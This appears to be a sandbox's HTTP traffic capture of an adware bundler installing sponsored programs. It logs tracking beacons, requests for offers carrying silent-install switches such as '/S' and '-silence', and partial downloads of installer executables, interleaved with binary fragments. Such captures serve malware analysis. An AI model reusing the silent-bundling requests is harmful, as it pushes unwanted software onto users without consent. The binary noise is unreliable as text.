log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=535559167_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/01/29 
19:28:20</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Fri, 30 Jan 2015 01:28:20 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&
<<< skipped >>>


GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:29:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"1.25 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:29:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.25 ms","message":"store 2 ac
tion and 4 update "}..0..


GET /app/ping.ashx?e=M5cPy8d51cMu52aJyrcE1Imqj5MhqmpXqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE0XZUACP9tPHYCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATEOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3rafyBNHzK365AtX799FH7yyT3M6a2fcjEV4MxlenebXXYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk OKYFuT/lA02B7vQbA2v4xLnM9hj6m8lSdjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoEKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLkaF8dOqaOvPVi33qPwefc AZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:11 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:11 GMT..Content-Length: 0..


GET /sd?is=sm HTTP/1.1

Range: bytes=364515-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 364515-583223/583224

Content-Length: 218709

Connection: keep-alive
M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:w...5W..j.]bS.^...)..3
`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j.....
.X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A....T^.y.....f. ...e1h.
]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`3.]#^........!.6..-...
g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o1..V-
.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... .....\/.kM....Z7.."..d"..
P....].. ........K..u..:.....v.d........*..Zyr..:..vA@.{Ru.g......v...
..:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/u......._k......%...%.
..B{".....<......''..'...?...N.....erW.`.........2.(U.e....9(.{,.\.
....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\.....A..}.[..%..H.b...
14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.g..K.d.@D..O..u..V0...
T...,...............(..x......t)g..%.Fm.& ......U.:.........=..l4.....
..6........=f/.o...k. bY..YL....$a8.".....));._...J.......'H'~.....x.[
4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q..$31m.....z@<y-<
;.........&...N..s\4h.3.R..Y........F....Ze.KKv..........N..*1|K.\l.&g
t;..........I..........0k.U..q..!=.\...O.......N.gK..C.IPw.}E...2..4r.
..,kJ... .B.]c.."....q.'.P.*[email protected]..&.X}...(.!.......T....t
K..gc.0.a.<.J.....6c.)\.........b...o.'..A..k'.....M....?.!m..Y65..
......w..-.......=.CO.`...RR..w.=.9G..{8]..j..MXJ<..OU....|...'....
..m,..e..o:..............)".....V.......*....e..: ........i..iz|.U..8 
U...f...,.&...V...Cm.'.>/.9(..<k.B.'A,./...V?8z....3.E...H...[..
...{.T...pg..^9Ic..X5....N.....$W...N..".~..".6.p..T?.&o.66.ZS....
<<< skipped >>>


GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:31:43 GMT

Content-Type: application/ocsp-response

Content-Length: 1474

Connection: keep-alive

Set-Cookie: __cfduid=d97cafc5c3747cd1475708dc0cc08e0651422581503; expires=Sat, 30-Jan-16 01:31:43 GMT; path=/; domain=.globalsign.com; HttpOnly

Last-Modified: Fri, 30 Jan 2015 00:51:31 GMT

ETag: 934507b690d95e3f5868c38896b9c88660c5ab66

Expires: Fri, 30 Jan 2015 02:31:42 GMT

Cache-Control: public, max-age=3599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b09e95fa24408b1-FRA
0..........0..... .....0......0...0..........[..v.HM">y.2......2015
0130005131Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..
../Pz...!G..Br-\A.'...Nu.....20150130005131Z....20150130015131Z0...*.H
...............g.=u.>.k-gZQmppL....D...... ?F..|[email protected]}........
Z.w.......G.6T..\(.<%(.Z....z...k....r.:..jJ......^.XK.h.WO . .E.[.
[email protected],.m.....V...z.\<'p.c....o..... #..Xc.j.Wr.0
I.._....@.}X.k..-.6...`.kI!...n...\ .$..F.@\...../.mQHc..?B...J U.....
0...0...0...........!j..d\.k...9.... 0...*.H........0Q1.0...U....BE1.0
...U....GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1
41212162143Z..150312162143Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1
:08..U...1GlobalSign CodeSigning CA - G2 OCSP responder - 11.0...U....
201412121721000.."0...*.H.............0..............LK..T..D5As..>
.7.p0.h.....P.|...9J.>.r...i..0^..4.....A.kp...K............{.K|...
=.`...=..v......S...j.Vm...21....N..f.......|.k.......eP..l2fP2...3...
...R....lQ.A..*..=...=.|X....c:.O&U*T...8...K..Cz...N......YT8........
}Z...........En..d%.6....K..w........0..0...U....0.0...U...........0..
.U.%..0... .......0... .....0......0...U..........[..v.HM">y.2....0
...U.#..0....n......>..t]..../Pz0...*.H...............c."...t......
'.:[email protected]..=.6.......t......K......;....#...69.......,?.Z..E....
z.*E.......`.......w..>,.".j.f.~V..?..V...k.........C...l.*....M..N
......&..........M][email protected]......`...V.....{...?..[.JH.FN...#..\$.7.
...Ku1...f.pB..I.....^.E....u.S.D%..
<<< skipped >>>


GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:09:26 GMT

Expires: Fri, 30 Jan 2015 03:09:26 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16151

Age: 1059

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=7200
............yW...8.?..|{.....S..7.(m.....Ms.dY.iB....%.g..A..$...y.z..
%..<mm.I~2...3....k9Z.2.}5....G.........dx.O:.Nz'...:.....I*b.v.o..
q....Bh..z6..V.|.})[email protected]....'...`....3i..RC.%..0.Fz..J{.'C
/...#O\BP]..^..../e..<1..p0...&.i......f{..zm..'&.w1...:...Y:......
.....p....`.n4....vz.W....|\c.-GX...:...5.y..".F:.. $....'..b2......k.
...:.....e.. t-{..^.^.....P....3........d..6.nM...."...^..|..1z......d
q.t.}.....I46..Kb....1..A...t...q.N.7zt .P.a......o:0.>..$Y..x:=.$.
....r./..0........n.%.vA.Ke.*....P/.....My..\..t...J(WW....,.A..<Q.
.........E..e.(.K.$......uBa ..1..yN.v..E....D=...:..[...>..zX.l^..
_..z C..o.......Mk.............^\.G.I?.7.[...l.l=..@.......;...e./y,.c
R.w`.d_...0.L/..F.q` j......y.5L....Zp*....#w0.%....]..:T..W...l.4.1U.
,.W~.q0.=XO.z'..f.,/e..K..P".F.e..^..9..S...1..1..J.. .4....WW....K..I
..x......\[email protected]]...tj..3w$...cA... XD..F.a.......3...?..41.!.w}..T 
8...vj..(.....q.P...........S^r.......A..X.e.K=J.5,o..0..Q.|=.v..l....
....j..';...B..$..-....$Z.R.L.OB.tL/:....t..g[..:A......i..4o[e8..3grr
..SJI...2...\YW..j3.^J%.................x.?.6...){...o..V.c.........@h
i.8.=..jR....]....x^.`.<..7........y1..8...YT...iLm}..Ye7T. X..d..T
 L Ui.....q}........#....elF.........m.6-..[./.-.x[{5 ....,.<....b.
e..aK\].VWMZ....{.x(....O........p..[[email protected].)..x...Fk......4.Z.i p.
7..`>.o.Z..O*<.c.....i.f...fk.g....J..a..y.....c_.X..%..4.Gz.M$.
...j5oe.0......$T~..}....0FtC].`-...Z.O..V.:Z..54o.4...oI...... .) ..6
*...Y.1......B..-._..{r..1]F.....f..|8..u.OY...38..}5.c.`.. ....`.
<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1780777469&utmhn=bi.bisrv.com&utmhid=1344975662&utmr=-&utmp=Installer_Init&utmht=1422581246828&utmac=UA-31676879-1&utmcc=__utma=1.1033541308.1422581247.1422581247.1422581247.1;+__utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=387419954&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Fri, 30 Jan 2015 01:27:05 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Fri, 30 Jan 2015 01:27:05 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..


GET /downloader/network_adworkmedia_1/freezipwepv/c6f36ae09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f36ae09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~........b:2iB.d..4)..k.Ioi;.d(Y?..IH.LR....Y...'..
wNm.A..d&=....U.ZN..;'{.y..q.V.....oN.i2x..J.d...J..,W.:.^.......U..-.
...W.....E.>....o......rs.F.].I.f6[...$].Ke...{....{.~y...F... ...d
.~...l6Z}. ..t...w.....?N.._...2[........\...d.....j.e.^.....&.u.^&...
Q...W.1..K....P..&....a.\..>=...j>\_'..|5....>cI...%S,...4..W
.....?......u6......2[T[.?-.....~z..T-..<...W....cgW....|h>.|...
..Q...,.$..s.=.~MX..}sd^gK....3<y..W..-...i:.... ~h..Y....d..r.Z.O.
%.......|.~..{..|....... [-&....r.....0....WT.[[email protected]
[...;.mz.J....z..=\.S...l`..&3wL3..:..:.f.....`.a7..w..b...U.....w.j..
l0...xn..........p.\......d.......z......U.3...}...........T2..A..S...
W.uv.../ W .J..[I.j...W8@...?...?..l...>....du..YD..X(......Er..V..
.>...A.k.JK,..f...$..........KV..C.R....~-.b.N'X...>v.{.........
.w5..)...~;'=!|\..9.$.9.~-,.g..........-.,.(!.....-.%&..rx~...1...G.H.
...........7H.........y.|.A..`e._..Sr......x....>.L.*..Op.rGMW8.?..
.cyq9.|..S....Xz..(.n......Q............Q....c^|.\gX.../......[...c.K.
v.X..~...K..x..<...}P.........fW..~....~....K.......{<.~..>..
.....3.../..G...{{=*..........B........K..|.f>....l..V.......%Q.g..
R.g].x..R....O_=..z.U_)C.......yA.Li.. e....aD.'..#.O...lG<...OYK.^
...,...rv...o.g...h.[....A.Q....X:.E.z..-......[...j=.........Ri|.NO..
I:....F#..d........=.;j.~................ |..On..W....O>|.....8[5K?
.....m..Z..*[email protected]|..._2.......I.VD%i....
7s.C?|.M..././O....%..f/{m....^X.ws0.XUA.........X.~.neQ.u..&.*..f
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=2&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=2&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=3&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=554f1a32df4546428c4cd4ba3636f283&uid=c6f36ae09f7b3c4993073c407a485e5f&tokyo_csrf_key=19707e0c3d2d1cf3ffbde487a2b892a9&tokyo_csrf_timestamp=1422581274&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=freezipwepv&country=UA&hostBrowser=ff&unique_id=7e067d4730d1830d0b187fc9d5748bbc HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: http
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4d1.............WmO.F.. .?...q.......j.;5wE..d..q............7!!.6.kAB
....y{...us^.v'.n#kS'....P.HE.<s'.my.`%......b..........1.d....@.. 
6..R.^Z.:....'...%[...a.tib.m.X....\...:....{.?...n.1S.T...g..?=}.m ..
6....t..?-ss.......]I.....j.*...,................u.....6F..[7.%...'./.
.......s .M..!.he...p.tQ.sW;.:...8.\.....F5..>....dE.6...z....../.N
..3{......~..7R&7.........&%Q.{{..D... ....5.....6.....V.z......a....d
.t.....c}.....K../l...A....t.S%)...s.2y....V.....".|.........Q../....G
.b......a...!#...\......XH..w'.|..=.....<.....N..F..PYH...L.....&..
u...r...[.....e.Z)...t.&...5.........LWV..?...(.s...RR!.m....9..$..H/:
.=..#..(Rp..7...k.=.%.."*E.U.2^|.f(9..[..-....p........l......5......3
H..Y.1........ma.......p...r..I."....%Tl..cC.tI.`.;......7......sV...Y
.....W2......g..va.y*gT....g.Z*..#...J...."E...{.'..R.....T...=......@
V.....M..{.M.....S#/z6I...T.....J.U.......W.....iE!x....:J3.[K...%.O.=
..%.Z.ht..q...1..vtY.5{..#.....M.jM C.1MA...F. .W..cV....Hyf..md.u....
..>.N.?.....pB .%3q.2A..j.y.....I;o.......".%......'k...yl....`..zi
....GF.`t......K.... ...o.-u.WTX..-U.8...\..&.h<.Sb..{.s....7*.9$..
.`...O..KN:.x.o.....?=..Q...4...kLl......G..|...A...K...!....(V..6...a
X.<..I8...8...F'a.A.E.....0.O.cj.7../.G..r'. .............m%.....0.
.HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:55 GMT..
Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Va
ry: Accept-Encoding..Content-Encoding: gzip..4d1.............WmO.F.. .
?...q.......j.;5wE..d..q............7!!.6.kAB....y{...us^.v'.n#kS'
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.5805198771386675 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:56 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive



0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....2.S.....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:28:22 GMT

Expires: Tue, 03 Feb 2015 01:28:22 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015012
9190234Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...2.S.......20150129190234Z....20150205190234Z0...*.H.............,U.
V......K..{njB.q......)1 .. 2.4Ee...q......c..*.d.....d.....c(0."...Z.
...w...f.....98.t.......X}..[...10.X..?.z.i......]E...;...k..'.]Rl...I
.U.FXy:..H.F rW3.C...f.......#.<..lU^._..O..u.#G.|>..h.~e*.f.?i.
...n^FW,..W( ).uO..1.$*4j.X>...txB.a.......8t2r.sHTTP/1.1 200 OK..C
ontent-Type: application/ocsp-response..Date: Fri, 30 Jan 2015 01:28:2
2 GMT..Expires: Tue, 03 Feb 2015 01:28:22 GMT..Cache-Control: public, 
max-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Pro
tection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protoco
l: 80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v
....b..Z./..20150129190234Z0k0i0A0... ..........j.....p.I.#z...(~d..J.
.....h.v....b..Z./....2.S.......20150129190234Z....20150205190234Z0...
*.H.............,U.V......K..{njB.q......)1 .. 2.4Ee...q......c..*.d..
...d.....c(0."...Z....w...f.....98.t.......X}..[...10.X..?.z.i......]E
...;...k..'.]Rl...I.U.FXy:..H.F rW3.C...f.......#.<..lU^._..O..u.#G
.|>..h.~e*.f.?i....n^FW,..W( ).uO..1.$*4j.X>...txB.a.......8t2r.
s..
<<< skipped >>>


GET /img/youtube-accelerator-logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:18 GMT

Content-Length: 9214
.PNG........IHDR.......H.....E.......tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:81D309AAC21F11E29064D5C06D
ED1D59" xmpMM:DocumentID="xmp.did:81D309ABC21F11E29064D5C06DED1D59">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:81D309A8C21F11E29064
D5C06DED1D59" stRef:documentID="xmp.did:81D309A9C21F11E29064D5C06DED1D
59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>O9.j.. tIDATx..]...U.>..z.g&.dB.........DQ
Q..P?.]..V...2....j..ovM.]?.UID].\Hv.|..%....`..C...B.........}V......
.......IU.t..u.....{..d.L.Nb.......l..ocF.y.v1.T.}j.<..FW.aJ..@ ...
.A..`v.....Bf. <~."......g2H..@ ...RG..I.o....s......l\..Y..xT..Mj.
[email protected]{/[email protected]<.........@.
B ..$.rX..c..a.n..'....JA....v.mS.......f[N\. 8..W`d.g6...-.aw..0...0H
=.Y[....1.&...C#i!.......<...>.2.B.....vFT'...8'...&.0eE.A....VV
....$WH....O...7...y......(Sb4J}mb.%f."i!......[.. .3.d.....M.. ......
...b.K.......$0...U...8i.TnA.7.I.......0.{. ..X.Qf.`.uf#HZ...13I..
<<< skipped >>>


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=979865-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 139980

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 979865-1119844/1119845
.......P*...Nn.u......]..B....nu;.~`[email protected]
%..;.{V..$Y.....,.......^..t}....^..O..@.^b.-...\.i.1......~..yOk.....
(.....!..)C.Z..;..-.8`..{.v3v1.:.=W.[6C......[*1....J......u.~()...<
;#...{...t.. W...d..).......'.%].X!.9T.....v)..<J.Z.A...q...}.j...g
[email protected]`..Ig.-..9n.y7.b.C..-{.2.....|.....P.....F.(]rR..Q.
s.]\2....."......#.f...q...(7..1!...*/d...2...\...h.......F.vh..p..Q..
......9*..L...<v_.~...0C.%..9B..lw.QV,.........8.)m=x..............
7...B......F3.c.3..pV..N.Y.y.X.8..QDu.s.K..s:..!....a....7.k.-.....F.X
...@..../.ED..H.>.3...f.e-f.......z.Y@1....!..M..T..`...../..DM.B..
.V......c.J.6.K..|[email protected]..&D.
..vV....~.cnZ%....._...e......[}1.s/...R}0.'.j..Z.E...........X.8J.5.=
Dk....{....5n.?~.1.).&8.^Q]..Jm:.....[....#...iG..%..c.\.o#..B].......
....;E..>.?.....P.3..;#.3...*e.b.....4.&..21..\.OU.k..nDlG`..`....#
5|..C.#p.G../_....W.i........._...'[email protected]?..q..
.w..il.fU..a.Xj.m.X...m [email protected]..
...............$..z..y...|r.....t..f....4....M.i..w..Ii.{.nh.>..[..
U.2.g5..._../.... Z3k..g.p...3.Qp_c.=p....?....T........vK[.(.M>...
.....Cu\...._Bc..4M..v?........*.t.M....}..{s....V....%..<.K.Q....[
.....QE.....B....!"...E....Ke.."l;[...e...k...U.)2.]..)S6'J=......5..3
h.Z.|'.Y.tq.......a1U!.q......{w..;..g.@o...]..V..n....Mf...[.%.G.q...
.....c.Kx.3.u....v..W.{.K2..|1ZB...M|..yE.....0..,.jPm....J%.I...e....
